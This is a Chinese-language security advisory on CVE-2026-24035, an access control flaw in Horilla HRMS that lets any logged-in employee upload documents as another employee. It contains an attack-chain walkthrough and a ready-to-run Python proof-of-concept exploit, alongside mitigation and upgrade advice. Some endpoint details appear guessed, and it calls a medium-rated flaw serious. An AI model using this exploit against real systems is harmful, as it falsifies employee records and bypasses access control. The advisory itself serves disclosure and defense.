IPBUF安全漏洞报告
English
CVE-2026-24035 CVSS 4.3 中危

CVE-2026-24035 Horilla HRMS 任意员工文档上传漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24035
漏洞类型
不正确的访问控制 (Improper Access Control)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Horilla HRMS (Human Resource Management System)

相关标签

Improper Access Control权限绕过文件上传Horilla HRMS身份认证绕过CVE-2026-24035

漏洞概述

CVE-2026-24035是Horilla人力资源管理系统中的一个严重访问控制漏洞。该系统是一款免费开源的人力资源管理软件。从1.4.0版本开始,由于服务器端对employee_id参数缺乏充分的验证机制,导致任何经过身份认证的员工用户都可以代表系统中的其他员工上传文档文件。这一漏洞使得低权限用户能够突破正常的访问控制边界,以其他员工的身份执行文件上传操作。攻击者可以利用此漏洞伪造文档来源,干扰人力资源记录的准确性,甚至可能上传包含恶意代码的文件用于后续攻击。由于该漏洞利用无需特殊权限且不需要用户交互,攻击门槛较低,对系统的机密性和完整性都构成威胁。建议受影响的用户尽快升级到1.5.0或更高版本以修复此安全问题。

技术细节

该漏洞的根本原因在于Horilla HRMS的文件上传功能在处理employee_id参数时未进行充分的服务器端验证。系统错误地信任了客户端提交的employee_id值,允许认证用户指定任意员工ID进行文档关联操作。在正常的访问控制流程中,用户应该只能为自己上传文档,但实际实现中缺少对当前认证用户与目标employee_id的匹配校验。攻击者首先需要拥有一个有效的员工账号登录系统,然后构造恶意请求,在file upload请求中指定其他员工的employee_id,并将文件作为该员工的文档进行上传。从CVSS向量来看,攻击复杂度低(AC:L),需要低权限(PR:L),通过网络即可发起攻击(AV:N),但对机密性(C:L)和完整性(I:L)的影响都是低级别的。修复后的1.5.0版本添加了适当的权限检查,确保用户只能为自己上传文档。

攻击链分析

STEP 1
步骤1
攻击者获取Horilla HRMS系统的有效员工账户凭据并登录系统
STEP 2
步骤2
攻击者识别文件上传功能端点,通常位于/payroll/document/create/或相关路由
STEP 3
步骤3
攻击者构造HTTP POST请求,在请求数据中指定目标受害者的employee_id参数
STEP 4
步骤4
系统因缺少服务器端验证,接受请求并将文件关联到指定的employee_id
STEP 5
步骤5
文档以上述员工身份成功上传,攻击者完成权限提升和访问控制绕过

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-24035 PoC - Horilla HRMS Improper Access Control # Description: Authenticated user can upload documents on behalf of other employees def exploit_cve_2026_24035(base_url, attacker_token, target_employee_id): """ Exploit improper access control in Horilla HRMS file upload Args: base_url: Target Horilla HRMS base URL attacker_token: Valid authentication token for attacker account target_employee_id: Employee ID of the victim (to upload docs as them) Returns: bool: True if exploitation appears successful """ upload_endpoint = f"{base_url}/payroll/document/create/" headers = { "Authorization": f"Bearer {attacker_token}", "X-Requested-With": "XMLHttpRequest" } # Malicious file with target employee's ID files = { "document": ("exploit.txt", b"Malicious content uploaded via CVE-2026-24035", "text/plain") } # VULNERABLE: No server-side validation of employee_id data = { "employee_id": target_employee_id, # Attacker can specify any employee "title": "Unauthorized Document Upload", "description": "Document uploaded by exploiting CVE-2026-24035" } try: response = requests.post(upload_endpoint, headers=headers, files=files, data=data, timeout=30) if response.status_code == 200 or response.status_code == 201: print(f"[+] Successfully uploaded document for employee_id: {target_employee_id}") print(f"[+] Exploitation successful - improper access control bypassed") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve_2026_24035.py <base_url> <attacker_token> <target_employee_id>") sys.exit(1) base_url = sys.argv[1] attacker_token = sys.argv[2] target_employee_id = sys.argv[3] exploit_cve_2026_24035(base_url, attacker_token, target_employee_id)

影响范围

Horilla HRMS >= 1.4.0
Horilla HRMS < 1.5.0

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解风险:限制员工的文件上传功能权限;启用详细的审计日志记录所有文档上传操作;对上传文件进行内容类型和大小限制;在Web应用防火墙中配置规则检测异常的employee_id参数。建议尽快升级到官方发布的1.5.0版本以彻底修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表